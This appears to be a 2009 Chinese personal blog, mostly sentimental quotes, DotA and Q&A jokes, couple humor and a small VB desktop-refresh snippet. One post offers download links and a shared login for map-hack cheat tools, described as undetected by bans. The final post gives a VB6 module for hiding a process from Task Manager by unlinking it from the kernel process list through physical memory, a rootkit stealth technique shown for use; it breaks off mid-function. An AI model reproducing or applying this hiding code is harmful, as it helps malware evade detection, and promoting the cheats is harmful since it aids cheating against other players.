魔兽改键精灵官方网站

很有深意的句子

2009-06-07T11:42:37+08:00

如果没法忘记他，就不要忘记好了。真正的忘记，是不需要努力的。
我爱你....为了你的幸福，我愿意放弃一切---包括你。
开始的时侯，我们就知道，总会有终结。
有些人注定是等待别人的，有些人是注定被人等的。
两颗心注定会变成单数，不是太拥挤就是太孤独。
我的眼泪触了你的眉，你的笑容抵不了我的泪.
你的心脏载得住我的轮回，我的掌纹赎不会我的罪。
孤单不是没有人在你身边。而是没有人在你心里。
有一天，天爱上了海，可是空气却把它们阻隔开了，它们无法相爱了，于是天哭了，泪水落在海里。即使不能相爱，天也要把灵魂寄托给海。从此，海比天蓝。
因为爱过，所以不会成敌人；因为伤过，所以不会做朋友。
如果全世界都否定你，那么我陪你否定全世界
To the world you may be one person,but to one person you may be the world.
最爱的未必适合在一起，相爱是让彼此做自己.
心跳在你沉默以后慢慢的被淡忘掉我笑了笑反正你看不到
逃避不一定躲得过,面对不一定最难受...
勇敢，一半是理智，一半是冲动！
什么是幸福?你觉得幸福就幸福.
之所以会觉得冷,是因为曾经温暖过
如果有一天
你能到我的心里去，你一定会流泪
因为那里面全是你给的伤
如果有一天
我能到你的心里去，我也会流泪
因为那里面全是你的无所谓...
毛毛虫认定的末日，我们叫它蝴蝶
爱是寂寞说的谎.
或许
一些话应该停留在心底
一些美丽让他停留去憧憬
只有时间能承载我们的继续
别拿别人的错来惩罚自己.
有一种幸福,不叫永远.
因为一无所有，所以可以毫无牵挂的去漂流
因为一无所有，所以应有充分的理由去追求
原来那一种感觉，叫做——不离不弃
在这世上，最容易变的是人心。
但最天荒地老的也是人心。
我始终坚信,属于我的爱情不会走开
或者说走开了的一定不属于我
我爱你,与你无关~~~~
思念一个人的滋味
像喝一杯冷的水
然后用很长很长的时间一颗一颗流成眼泪
忘记一个人的滋味
像欣赏一种残酷的美
然后用很小很小的声音告诉自己坚强面对
两点之间最短的距离并不一定是直线。
只有知道如何停止的人才知道如何加快速度。
人都是孤独的，长大了终究会孤独的.
妈妈说过没有人值得你为他哭，唯一值得你为他哭的那个人，永远都不会让你为他哭.
眼泪的存在，是为了证明悲伤不是一场幻觉。
爱情就像一双袜子，越是瞧起来不顺眼的袜子，越有可能永远陪在你身边，越是喜欢的漂亮袜子经常会少一只．
对于你来说，我的出现只是你生命中的100+1=101；但对于我来说，你的出现在我的生命中却是0+1=1的算式。
眼泪的温度有530℃，只是因为外面的世界太冷，流出来的时候才会降到53℃。
一个人不孤单，
想一个人才孤单。
我会一直爱你，直到我爱上另一个人.
王子们开始隐居了，女人们看见的都是白马.
总在快乐的时候，感到微微的惶恐。
你给我一滴眼泪，我就看到了你心中全部的海洋
一个人总要走陌生的路，看陌生的风景，听陌生的歌，然后在某个不经意的瞬间，你会发现，原本费尽心机想要忘记的事情真的就这么忘记了。
遗忘是我们不可更改的宿命
所有的一切都像是没有对齐的图纸
从前的一切回不到过去就这样慢慢延伸一点一点的错开来
也许错开了的东西我们真的应该遗忘了
什么叫快乐？就是掩饰自己的悲伤对每个人微笑。
在这个熟悉又陌生的城市中，无助地寻找一个陌生又熟悉的身影.
人生总有许多巧合，两条平行线也可能会有交汇的一天。
人生总有许多意外，握在手里面的风筝也会突然断了线。
短暂的瞬间，漫长的永远。
幸福始终充满着缺陷。
谁也不是谁的谁.
因为活着的世界里有你存在，所以才无论如何都想继续活下去．
把每一天，都当成世界末日一样，相爱
可是,以为他忘记的,他偏偏都好好的放在心里.
这么多记忆为什么你能轻易的说退出？
捂着耳朵并不等于外面就再没发出声响，只是你暂时听不到了而已。
不是因为世界上只有你我才会爱你的，而是因为爱你，世界上才只有你.
擦身而过的时候,我们应该学会遗忘.
远方除了遥远一无所有.
远方的幸福,是多少痛苦.
你在做什么？我在仰望天空。30度的仰望是什么？是我想念她的角度。为什么要把头抬到30度？为了不让我的眼泪掉下来……
鱼溺水而亡，是为了让大海能够记住他~
爱情就像乘法，其中一项为零，其结果永远为零……
踮起脚尖，我们就能离幸福更近一点吗？
我们在错误的时间相遇，在正确的时间却又分开……
经历，决定了眼泪是否勇敢。
全身而退，我不会。我等时间惭愧
花飞花落，从前之前，后来以后。
分不清是非，看不见完美。
为什么，我还是会想你...
青春是蒲公英看似自在却身不由己
终于看开，爱回不来。
离开...不代表消失。
苍白，在周身蔓延开来。
死亡和幸福一样，邀不可及。
我们是糖。甜到哀伤。
若我离去，后会无期。
有些事一定要遗忘。
年华尽耗，繁花满地。
下一个路口，我们会在哪里...
第五个街口的爱情，灰飞湮灭。原来，没有什么可以永垂不朽。
举头可见是明媚。挥之不去是忧伤。
繁花似锦不可一世，生命本来就是出善变的戏，不在乎你说我虚情假意。
你笑着说再见，温暖的笑容有一点腼腆。再见，My love再见，可为何离开时，我们都来不及悼言。
你累了吗？如果你累了，不妨回头想想我...
有爱就有痛，或多或少，有幸福就有烦恼，除非你都不要
想念，是遗忘的起点
记住该记住的,忘记该忘记的,改变能改变的,接受不能改变的.
有些事我们无法控制,只好控制自己.
鱼对水说你看不到我的眼泪,应为我在水里,水说我能感觉到你的眼泪,应为你在我心里.
于千万人之中，遇见你所遇见的人,于千万年之中,时间的无涯荒野里,没有早一步,也没有晚一步,刚巧赶上了.
生命中,不断的有人离开或进入,于是,看见的,看不见的,记住的,遗忘了.生命中,不断的有得到和失落,于是,看不见的,看见了,遗忘的,记住了,然而,看不见的,是不是就等于不存在?记住的,是不是永远不会消失?
前方是绝路，幸福在拐角

DOTA搞笑语录

2009-05-18T12:36:11+08:00

打DOTA时经常会碰到很多搞笑的场面，今天给大家准备了一些DOTA经典笑话，希望大家喜欢！

1. 进一主机,人满,读秒,开始...主机"-ap -ne",众人绝倒...

2. 一众神出了跳刀..问他干什么...他说...操..放大啊..

3. 游戏如火如荼..突然有人问:神符哪里买呀?

4. 夜晚时分，一人马被敌人围杀，情急之下跑到一野点，并让盟友痛苦之源对他放了一个“噩梦”......

5. 一火枪开局买一小鸡,并共享,我看了心里说:"恩不错."一会想用小鸡,望水泉一看,没见..,可能有人用吧.==,过两分钟,还没找到,随便往火枪身上一点吓一跳:小鸡在他身上......

6. 一宙斯惊人语录：等我出了黑黄，化身山丘之王，你们就输了！哇哈哈！

7. 我有个VS,一直游走杀人,有队友骂到:"你个XX复仇,还不打钱,你TMD走来走去干吗呀？"

8. "我憋辉耀呢" 50分钟飘过........

9. "骷髅王你个XX,团站从来不放大."

10. 巨魔：不要上去小心末日吃了你

11. 我方tb,6极满血,看见一红血6级死法,冲上去!换血之...然后被大秒之...说了句：你啥变态技能？把我秒了你还满血了。死法大惊曰：我......！

12. 30分钟,我方白牛突然说:靠山顶巨人有200多攻击,还打个屁呀...遂退。

13. -swap 7 .....

14.火枪中单至8后叫换人，他去上路GANK，上路PA6级，他躲在树林里问句：幻刺有大没？

15.一次HF娱乐,40分钟,我们无限劣势,眼看要输,我们方火枪说:"别怕,我有秘籍.."然后屏幕上出现一行字:"whosyourdaddy". 我们同时打出"................."

中国同心

2009-05-11T14:02:55+08:00

明天就是512大地震一周年了，希望大家能为逝去的中国同胞们默哀三分钟

08百度知道中最搞笑的问答，我笑抽了...

2009-05-09T14:24:07+08:00

1、提问：显示器画面不停地轻微抖动，有什么办法？

答：你也不停地抖动，当你的频率和振幅与显示器画面一致时，你就感觉不出来了。

2、提问：如何除掉烦人的狗？我家附近有人养狗，且不管它，随便跑，经常晚上在我家门口拉屎，有没有办法不让它在我家拉屎，或神不知鬼不觉地把它弄死且没人知道。

回答一：和主人说没用，我告诉你个好主意。每次狗拉屎的时候，你去偷看，等狗发现了你在偷看，它会害羞的，就再也不敢到你家门口拉屎了。

回答二：给它买一台计算机，然后教它上网，它就没空去你家门口了。

3、提问：为什么我玩3D游戏时会头晕？

回答一：小脑不发达。

回答二：大脑不发达。

回答三：大小脑都不发达。

4、提问：怎么驱赶蚂蚁？

回答一：在寝室门上贴上“戒严”或者“查封”等字样，造成寝室已经停止营业的假象。

回答二：买个食蚁兽回来不就结了。

回答三：播放张楚的歌曲《蚂蚁》三十遍。

回答四：把这个问题贴到蚁巢门口，难死它们！难不死的也会被这个悖论折磨死。

回答五：养些白蚁，让他们种族歧视，自相残杀。

5、提问：最简单的长寿秘诀是什么？

回答：保持呼吸，不要断气。

6、提问：跷二郎腿的危害？

回答：屁股会一半大一半小。

7、提问：超人的内裤为什么总是穿在外面？

回答一：穿在里面了，谁知道你是超人？

回答二：蝙蝠侠，内裤套头了；蜘蛛侠，内衣外穿了；超人怎么能不走时尚路线呢？他就内裤外穿了。

8、提问：我要问百度知道知道不知道知道就知道不知道就不知道不要知道说不知道不知道说知道到头来知道变成不知道不知道还是不知道天知道地知道百度知道知道若要问我知道不知道知道不知道也不知道。请加标点符号，眼睛不好慎入。

回答：我要问“百度知道”：“知道不知道？”知道就知道，不知道就不知道。不要知道说不知道，不知道说知道，到头来知道变成不知道，不知道还是不知道。天知道、地知道、“百度知道”知道，若要问我知道不知道，知道不知道也不知道！

9、提问：我的电脑里有病毒我应该买什么杀虫剂好？

回答一：什么都不用，你可以一个月不开机，把病毒饿死在里面。

回答二：光饿死还不够，万一病毒太饿了爬出来感染别人的电脑怎么办！不光要不开机饿死它，还要拿个袋子把电脑密封起来给它断水断粮断空气才行。

回答三：用妇炎洁吧，洗洗更健康。

回答四：用妇炎洁不行啊，楼上的。如果电脑是男性怎么办？其实用汰渍最好了。不伤手，除菌。

回答五：楼上的全都不厚道，电脑病毒是不能用杀虫剂的，你把电脑带到防疫站给医生去打一针就行了，以后每年打一针就能彻底防止病毒入侵了。
回答六你把有病毒的文件作成压缩文件,这样就可以把病毒挤死了,又快又彻底

回答七专业人士建议：就放那吧，活着都不容易

杀虫剂:我一直用雕牌的,蓝瓶的,好喝的,6合1疗程,记好拉!

你真牛怎么中毒了呢?平时注意多给它洗洗澡
自己用电脑的时候带个口罩什么的防止病毒传染

先买蒸馏水10斤,在放进一袋的樟脑,装电脑主机放进去,放足24小时,这样连火星来的病毒都能杀死.如果你的显示器和其他的也中毒的话,请一定要将上面的方子加倍来处理.杀不死你来找我,我的地址:火星路88号.欢迎来做客.

怎么可以让电脑饿肚子呢，这样更容易生病啊```应该给它多喂点有营养的东西，再给它吃点抗生素什么的，这样电脑就会健康起来，身体棒棒的~！

中病毒应该是软件的问题,不是硬件问题,所以,你喷在主机上是没用的,你应该打开电脑,拆下硬盘,再拆开硬盘进行喷射即可解决你的问题!

应该先把主机绞碎,接着呢,撒点汽油,然后关好门窗,点火,绝对能处理~~!!!

▉提问:向高手请教，抢银行什么枪合适，还有枪在哪儿买，AK-47多少钱一把？知道的说一下。谢谢！回答:有经验的都不在这里，不过你试着抢一下就会见到他们。

▉提问: 求助！我电脑开不了机了！风扇都不转，主板灯也不亮啊！

最佳回答: 插线了么？

对最佳答案的补充：没！

▉提问：宝宝将在2007年2月诞生,爸姓章，妈姓王，请大家起个名，男女孩什么？最好是双字名,且是动宾结构的.

回答：章鱼王

问：你们女人大夏天的戴胸罩不热吗？

答：我们不带你们会热……

问：为什么胡主席访问日本，日本方面比较冷淡，甚至机场连欢迎标语都没挂？

答：怎么挂？热烈欢迎中国老朋友来日？

问：老爸送我老公一根鹿鞭，大家说这是啥意思？还有照片的说～

答：这是老一辈对青年一代的鞭策啊~~~

问：《神雕侠侣》里小龙女胳膊上的守宫砂是什么东西，干什么用的？

答：守宫砂是处女的桌面快捷方式。

问：美国一位名叫乔治&赫伯特的推销员成功地把一把斧头推销给小布什总统，因此他获得2005年布鲁金斯学会（世界上最权威、最有影响力的推销员组织）的“金靴”奖。假如给你一次机会向胡主席推销东西，你会选择什么？

答：我要把俺娘推荐给他！！！

问：为什么pol.ice抓坏人时都要鸣警笛？难道不怕坏人老大远就听到跑了？

答：上级单位来检查之前一般都会事先通知下级单位的～

问：你小时候曾幻想长大以后什么样的场景会让你在众人面前出尽了风头？

答：挑一担粪上街，看谁不顺眼就迎面给他泼一瓢！

问：我得了健忘症怎么办？

答：那岂不是很爽？每天早晨醒来发现睡在自己身旁的都是不同的女人~

问：刚才不小心摔了一跤，结果JJ插进水泥地里拔不出来了，大家说我该怎么办啊？

答：老婆，快来看那，野生的JJ还能长出个人儿来！~

问：听到一特好听的歌，歌词只记得是“一个芝麻糕，不如一针细”，求歌名啊！

答：你可知Macau，不是我真姓……－_－!

大脑进水怎么办？
答:小脑养鱼

问：人生像什么？
答：人生就像拉屎，虽然你很努力了，可只放出来一个屁！

问：为什么会打雷下雨？为什么会有冬天夏天？
最佳答案:（嗯是个难题！）不知道的奥秘万万千千累雷雷欧~~~ 累雷雷欧~~~~ 智慧简单~~~~(还有什么) 又不简单！！！！（嗨~~~~~~~~~~~！！！！）

问：我百米速度9秒8 但是我带球时速度却降到21秒如何才能提高带球跑动速度？控球有神么要领？

答1:您真的别打篮球了。。直接高短跑。。出名之后就拍电影唱歌。。您这辈子就齐活了。

答2:一脚将球踢出百米开外，然后去追，这样你的带球速度就是世界第一

答3:这次的秒表是跑准了的。。

问：AA、A、B、C、D、E、F、G罩杯分别有多大，拿个参照物来说下。

最佳答案 :旺仔小馒头，荷包蛋，小馒头，鸡蛋，橘子，苹果，柚子，榴莲。

问：我已经怒满了面部表情也达到了大便时最佳状态怎么还没变成超级赛亚人？

答1:这要看你爸爸的种族了。

答2:因为你的粪怒还不够。再屎劲点吧。

问：蹬马桶不让水花溅到屁股上有什么好方法？

答: 针对这个问题我专门请教了几个专家，他们的解决意见如下：
1。物理学博士：当bbs是，pp大约用100牛顿的力，如果不考虑空气阻力，bb应该成90度，如果pp和底部的距离不超过10厘米，bb落地速度为0。1m/s，可以完美的解决这个问题。
2.计算机博士：再马桶底部，安装一个设备，使用windowsxp操作系统，安装一个软件：pp防水花控制系统。可以全自动解决这个问题，如果遇到pp厉害的x客人物，自动倒ms网站下载补丁就可以了。
3。经济学博士：这个问题要解决必须考虑成本问题。而且要进入wto，必须要学习english才能解决。所以，最简单的方法是一边bb，一边背单词。不会增加任何成本。
4。有机化学博士：这个简单，只需要再pp下放一个试管，然后通过加催化剂，就可以变成流体自然留下，即使你拉的bb是希的，我们的催化剂也会把他变成不干不希的。太简单了
5。美术系教授说：pp溅起水花，何其壮观？为什么要解决呢？你们不觉得再扼杀美吗

问：谁知道明年的高考答案

答: 我...明年这时候就知道了

问：一个人的父亲是废人母亲是超人那他是什么人？

答: 当然是超级废人了。

问：印度人为什么用手抓饭吃？

答: 手比脚干净

问：我不慎吞入一只飞虫，是否会出事？

答: 当然是好事了，能品尝到世间少有的野味，而且那些东西还有丰富蛋白质，有许多微量元素，肯定能增加你的功力的。

问：谁告诉我怎么离开地球去找我的朋友！

答1: 哎，朋友你是哪个星球的啊！我也想回家啊，我是水星的你呢？

答2: 等你赚够钱了，趁太空飞船吧！

问：北京人民大会堂如何租赁场地结婚

答:跟小胡谈谈。我帮你约他...

问：如何抵挡美色的诱惑??

答:练葵花宝典~

问：姓什么的人最漂亮？？

答:姓“感”的人呗

问：去网吧，怎么样免费上网啊？

答1:老板是男的就扇他几巴掌！！是女的就吻一个

答2:于僻静无人角落处，寻一多足昆虫，即可实现免费上网。

答3:拿把刀,把刀刃对着老板脖子或者你自己的脖子.然后说"我要免费上网"

答4:楼上的回答精辟。严重支持，后果自负。

VS,HF下开全图办法（4月23日测试）

2009-04-23T12:05:15+08:00

VS下开全图(4月23日测试不封号)，请以LYNN补丁开启，配置按下图配置，置于魔兽根目录开启

下载地址:http://www.brsbox.com/filebox/down/fc/742e98f2818c8ef75f79f1036471ad7c

浩方下用下面这个软件

免费无限制登陆帐号:
帐号: http://warmh.cn
密码: 99uxi.com
下载地址:http://www.brsbox.com/filebox/down/fc/d909d9801da59630adef07cb101183c3

可爱的媳妇儿!

2009-04-12T19:15:50+08:00

1、早上临上班，和老公吻别。
　　我：亲一个！
　　老公：啵！
　　我:再亲一个!
　　老公:啵!
　　我:还要嘛～～～
　　老公:……流氓!
2、昨天晚上睡觉,跟老公抢他的胳膊～，老公抵死不从!我急了,就冒出了一句:
      老衲,你就从了师太吧!老公笑到手软。于是我得逞。
3、某日,我早起,给他留了200元钱放在桌子上(我是家里的财政大臣)。上班后,
      估摸着他已起床,就短他: 老公,桌上是给你昨夜的服务费。他回:全套服务才200
      块呀? 赶明儿找个富婆去。。。
4、老公：今天坐车人特多，不过在拥挤的车上看到美女了！
      我:....怒！
       老公:她还跟我搭讪呢！
       我:她跟你说什么``(吃醋)
       老公:离我远点!
5、老公学习无聊中会短信骚扰:小妞,给大爷我笑一个!我回:客官请自重,小女子卖身不卖艺!
6、我出差在外:臣妾今晚不能来侍寝,也请陛下早些歇息,养足精神,明日再来翻
       臣妾的牌子。老公:朕有后宫佳丽三千,此事爱妃不必太过忧虑,还须耐住寂寞:)
       我:看来今晚非杀回来****不可!老公:说笑说笑,朕的后宫牌子虽多,写的可都是
       一个人的名字！
7、如厕无聊中，和老公用喊的方式沟通：小子，给主子唱个曲儿！老公：无语

中。。。我：怎么？怕主子我付不起银子？老公：之前赊的账还没还呢！

额外再发一部分，呵呵
*********************************************************************
关于拿东西
老婆：这个袋子你也拿着吧。
老公：我都拿着四个袋子了，你什么都不拿，好意思吗？
老婆：那我还挽着你呢！你100多斤呢，我拿的东西不比你拿的东西重多了。
*********************************************************************
关于散步
老婆：咱们一直散步到那条马路吧。
老公：到那儿太远了，一会儿该走不回来了。
老婆：没事，你背我回来。
*********************************************************************
关于买衣服
老婆：这衣服好看吗？
老公：好看。
老婆：你就敷衍我，想让我赶快买完了赶快回家！
老婆：那衣服好看吗？
老公：不好看。
老婆：你就舍不得给我买！
*********************************************************************
关于干家务
老公：咱们把家务分分工吧。
老婆：好。首先，脏活累活得男人干吧，比如擦地、刷马桶、擦桌子……
老公：这对。
老婆：你是学理工的，我是学文科的，带电的东西得你干吧，像洗衣机、电冰箱、电饭锅、电熨斗……
老公：这……行！
老婆：男主外，女主内。和外人打交道的活得你干吧，买菜、交水电费、取报纸牛奶……
老公：行，行，那你干什么？
老婆：别着急呀。厨房里油烟这么大，可毁皮肤了，做饭得你干吧。
老公：你就告诉我你干什么吧。
老婆：我也有很多要干的呀。我可以陪着你，监督你，赞美你，安慰你……
*********************************************************************
关于孩子
老婆：咱们要个孩子吧。
老公：行。
老婆：那你喜欢咱们的孩子吗？
老公：喜欢。
老婆：那不行！你就得喜欢我一个人！
老公：好，好，就喜欢你一个人。
老婆：那我的孩子你凭什么不喜欢啊！
老公：咱们……还是别要孩子了。
*********************************************************************
关于真话
老婆：你看，那女孩多好看。
老公：好看什么呀。
老婆：你什么意思！你为什么不和我保持一致！
老公：好看好看。
老公：哎，你别走啊，怎么不理我了？
*********************************************************************
关于吃东西
老婆：这个话梅我吃了一半，挺好吃的，剩下的给你吃吧。
老公：我不爱吃话梅。
老婆：不行，你就爱吃！你是不是嫌弃我吃过的！
老公：这鱼挺好吃的，来。
老婆：你的脏筷子碰过的，谁吃！
老公：那你吃过一半我还吃呢，我不嫌弃你，你怎么嫌弃我？
老婆：那就对了。我嫌弃你说明我比你干净。我比你干净你凭什么嫌弃我？！
*********************************************************************
关于起床
老公：起床了，起床了，你不说今天要早起开会嘛。
老婆：别说话，我再睡一会。
老公：快起吧，要不该迟到了。
老婆：你别碰我！我要睡觉！！
老婆：呀！都该迟到了！你怎么叫我的！
*********************************************************************
关于男女平等
老公：都说男女平等，咱们家是不是也得平等平等？
老婆：行呀。你们男的欺负女的欺负了好几千年。我们也得欺负你们几千年，再平等，才是真正的平等呢。别急，再过几千年，咱们家就平等了。
*********************************************************************
关于幸福
老婆：你娶了我是不是特幸福？
老公：没觉得。你又不讲理，又不干活，还老折腾人，我怎么幸福啊？
老婆：这就是你的幸福啊。我不讲理，要不是我牺牲自己，能反衬出你的宽容大度吗；我不干活，就培养出了你呀，艺多不压身，你能力强还不好；我折腾人，那你的生活多丰富多采呀，你看，你的婚姻生活就不像别人家那么单调吧。
喝水
老婆：老公，我要喝水！
老公：我给你倒去。婆：看见了，我就是想让你递给我。
*********************************************************************
关于领导
老婆：我在外面不是领导，在家里就得当领导。你在外面是领导，在家里就得被领导。
老公：那我要是在外面当不成领导了呢？
老婆：一个男人，在外面看人脸色，回家来拿老婆耍威风，算什么男人！
*********************************************************************
关于讲理
老公：你不讲理。
老婆：和你我从来就没讲过理，家就不是讲理的地方。再说你是男的，还比我大8个月呢，你得让着我。
*********************************************************************
关于钱
老公：以后我挣的钱按比例给你吧，我挣的多留的也多，这样有积极性。
老婆：好。
老公：那我给你百分之多少？
老婆：百分之一百二。
*********************************************************************
关于中心
老婆：我在我们家一直是中心，在你们家也得以我为中心。
老公：那我在我们家也一直是中心。
老婆：可我这中心比你那中心重要。
老公：为什么？
老婆：因为我是千金，你只是个小子。
*********************************************************************
关于主意
老婆：咱们出去玩吧。
老公：好，你说去哪儿就去哪儿。
老婆：我要有主意还和你说！
老公：我出的主意你从来都不同意呀。
老婆：我不同意的那叫什么主意呀，那叫敷衍！你得不停地有主意，直到我满意为止。
*********************************************************************
关于打电话
老婆：你为什么不给我打电话？！
老公：倒打一耙！今天不是说好你给我打电话的嘛。结果我等了一天，还是我打给你的。
老婆：我是说过，可我又改主意了。张爱龄说：女人有改主意的特权。
老公：那你改主意没和我说?
老婆：我说了，我心里说的，谁让你和我心灵不相通的。
*********************************************************************
关于异姓朋友
老婆：我可以有男朋友，你不能干涉我。
老公：行，我也交个女朋友。
老婆：不行！
老公：凭什么你行我不行呀。
老婆：我交男朋友，你做不到的人家能做到，我就不会老挑你毛病了，有利于家庭幸福。你交女朋友，我心眼儿小，吃醋和你吵架，不利于家庭安定。
老公：那我也心眼儿小。
老婆：一个男人，和女人一样心眼儿小，亏你好意思说！
*********************************************************************
关于心情
老婆：我一干活心情就不好了，会降低咱们的婚姻质量。
老公：那我干活心情也不好。
老婆：你的心理承受能力应该比我强，因为你个子比我大，心脏也应该比我大！
*********************************************************************
关于婚外恋
老婆：现在电视里老演婚外恋，你说，你会有婚外恋吗？
老公：不会。
老婆：为什么？
老公：有你一个我就够后悔的了，决不能再要第二个！
*********************************************************************
老婆：小妞，过来陪大爷乐呵乐呵
老公：你又皮痒了是不？
老婆：嘿，还挺厉害，大爷我就是喜欢你这种象男人的妞！
老公：.......
*********************************************************************
老公：老婆，我回来了
老婆：呦，客官，您来啦，看上我们这哪个姑娘啦？
老公：你又犯病啦？
老婆：放心，我们这的姑娘绝对正点！
老公：我*，我就看上你这个老鸨了！
老婆：这个，奴婢卖艺不卖身
老公：卖艺也行！
老婆：奴婢家传无痛阉割，客官要不要试试？
老公：……
********************************************************************
老公：这回我是真生气了！
老婆：我已经道过歉了呀，老公别生气了嘛！
老公：我不要你道歉，我只想听你说句你爱我，可你就是不说！
老婆：我爱老公就和太阳从东方升起，人类要呼吸空气一样的自然，你见过谁每天看见太阳就喊，哇，太阳升起来了耶！谁每天呼吸的时候喊，哇，我呼吸到空气了耶！所以啊，我爱老公也不需要天天对着你喊，哇，我好好爱你耶

模拟桌面刷新代码

2009-04-11T18:12:52+08:00

Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Private Declare Function FindWindowEx Lib "user32" _
    Alias "FindWindowExA" (ByVal hWnd1 As Long, _
    ByVal hWnd2 As Long, ByVal lpsz1 As String, _
    ByVal lpsz2 As String) As Long
    Const WM_KEYDOWN = &H100

Public Sub RefreshDesktop()
    Dim DeskWin As Long
    DeskWin = FindWindowEx(0&, 0&, "Progman", vbNullString)
    DeskWin = FindWindowEx(DeskWin, 0&, "SHELLDLL_DefView", vbNullString)
    DeskWin = FindWindowEx(DeskWin, 0&, "SysListView32", vbNullString)
    PostMessage DeskWin, WM_KEYDOWN, &H74, &H3F0001
End Sub

VB6实现隐藏进程的模块

2009-04-11T18:02:36+08:00

'该模块用于在任务管理器中隐藏进程
Private Const STATUS_INFO_LENGTH_MISMATCH = &HC0000004
Private Const STATUS_ACCESS_DENIED = &HC0000022
Private Const STATUS_INVALID_HANDLE = &HC0000008
Private Const ERROR_SUCCESS = 0&
Private Const SECTION_MAP_WRITE = &H2
Private Const SECTION_MAP_READ = &H4
Private Const READ_CONTROL = &H20000
Private Const WRITE_DAC = &H40000
Private Const NO_INHERITANCE = 0
Private Const DACL_SECURITY_INFORMATION = &H4

Private Type IO_STATUS_BLOCK
Status As Long
Information As Long
End Type

Private Type UNICODE_STRING
Length As Integer
MaximumLength As Integer
Buffer As Long
End Type

Private Const OBJ_INHERIT = &H2
Private Const OBJ_PERMANENT = &H10
Private Const OBJ_EXCLUSIVE = &H20
Private Const OBJ_CASE_INSENSITIVE = &H40
Private Const OBJ_OPENIF = &H80
Private Const OBJ_OPENLINK = &H100
Private Const OBJ_KERNEL_HANDLE = &H200
Private Const OBJ_VALID_ATTRIBUTES = &H3F2

Private Type OBJECT_ATTRIBUTES
Length As Long
RootDirectory As Long
ObjectName As Long
Attributes As Long
SecurityDeor As Long
SecurityQualityOfService As Long
End Type

Private Type ACL
AclRevision As Byte
Sbz1 As Byte
AclSize As Integer
AceCount As Integer
Sbz2 As Integer
End Type

Private Enum ACCESS_MODE
NOT_USED_ACCESS
GRANT_ACCESS
SET_ACCESS
DENY_ACCESS
REVOKE_ACCESS
SET_AUDIT_SUCCESS
SET_AUDIT_FAILURE
End Enum

Private Enum MULTIPLE_TRUSTEE_OPERATION
NO_MULTIPLE_TRUSTEE
TRUSTEE_IS_IMPERSONATE
End Enum

Private Enum TRUSTEE_FORM
TRUSTEE_IS_SID
TRUSTEE_IS_NAME
End Enum

Private Enum TRUSTEE_TYPE
TRUSTEE_IS_UNKNOWN
TRUSTEE_IS_USER
TRUSTEE_IS_GROUP
End Enum

Private Type TRUSTEE
pMultipleTrustee As Long
MultipleTrusteeOperation As MULTIPLE_TRUSTEE_OPERATION
TrusteeForm As TRUSTEE_FORM
TrusteeType As TRUSTEE_TYPE
ptstrName As String
End Type

Private Type EXPLICIT_ACCESS
grfAccessPermissions As Long
grfAccessMode As ACCESS_MODE
grfInheritance As Long
TRUSTEE As TRUSTEE
End Type

Private Type AceArray
List() As EXPLICIT_ACCESS
End Type

Private Enum SE_OBJECT_TYPE
SE_UNKNOWN_OBJECT_TYPE = 0
SE_FILE_OBJECT
SE_SERVICE
SE_PRINTER
SE_REGISTRY_KEY
SE_LMSHARE
SE_KERNEL_OBJECT
SE_WINDOW_OBJECT
SE_DS_OBJECT
SE_DS_OBJECT_ALL
SE_PROVIDER_DEFINED_OBJECT
SE_WMIGUID_OBJECT
End Enum

Private Declare Function SetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner

As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any) As Long
Private Declare Function GetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner

As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any, ppSecurityDeor As Long) As Long

Private Declare Function SetEntriesInAcl Lib "advapi32.dll" Alias "SetEntriesInAclA" (ByVal cCountOfExplicitEntries As Long, pListOfExplicitEntries As

EXPLICIT_ACCESS, ByVal OldAcl As Long, NewAcl As Long) As Long
Private Declare Sub BuildExplicitAccessWithName Lib "advapi32.dll" Alias "BuildExplicitAccessWithNameA" (pExplicitAccess As EXPLICIT_ACCESS, ByVal

pTrusteeName As String, ByVal AccessPermissions As Long, ByVal AccessMode As ACCESS_MODE, ByVal Inheritance As Long)

Private Declare Sub RtlInitUnicodeString Lib "NTDLL.DLL" (DestinationString As UNICODE_STRING, ByVal SourceString As Long)
Private Declare Function ZwOpenSection Lib "NTDLL.DLL" (SectionHandle As Long, ByVal DesiredAccess As Long, ObjectAttributes As Any) As Long
Private Declare Function LocalFree Lib "kernel32" (ByVal hMem As Any) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function MapViewOfFile Lib "kernel32" (ByVal hFileMappingObject As Long, ByVal dwDesiredAccess As Long, ByVal dwFileOffsetHigh As Long, ByVal

dwFileOffsetLow As Long, ByVal dwNumberOfBytesToMap As Long) As Long
Private Declare Function UnmapViewOfFile Lib "kernel32" (lpBaseAddress As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long

Private Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type

Private verinfo As OSVERSIONINFO

Private g_hNtDLL As Long
Private g_pMapPhysicalMemory As Long
Private g_hMPM As Long
Private aByte(3) As Byte
Public Sub HideCurrentProcess()
'在进程列表中隐藏当前应用程序进程

Dim thread As Long, process As Long, fw As Long, bw As Long
Dim lOffsetFlink As Long, lOffsetBlink As Long, lOffsetPID As Long

verinfo.dwOSVersionInfoSize = Len(verinfo)
If (GetVersionEx(verinfo)) <> 0 Then
If verinfo.dwPlatformId = 2 Then
If verinfo.dwMajorVersion = 5 Then
Select Case verinfo.dwMinorVersion
Case 0
lOffsetFlink = &HA0
lOffsetBlink = &HA4
lOffsetPID = &H9C
Case 1
lOffsetFlink = &H88
lOffsetBlink = &H8C
lOffsetPID = &H84
End Select
End If
End If
End If

If OpenPhysicalMemory <> 0 Then
thread = GetData(&HFFDFF124)
process = GetData(thread + &H44)
fw = GetData(process + lOffsetFlink)
bw = GetData(process + lOffsetBlink)
SetData fw + 4, bw
SetData bw, fw
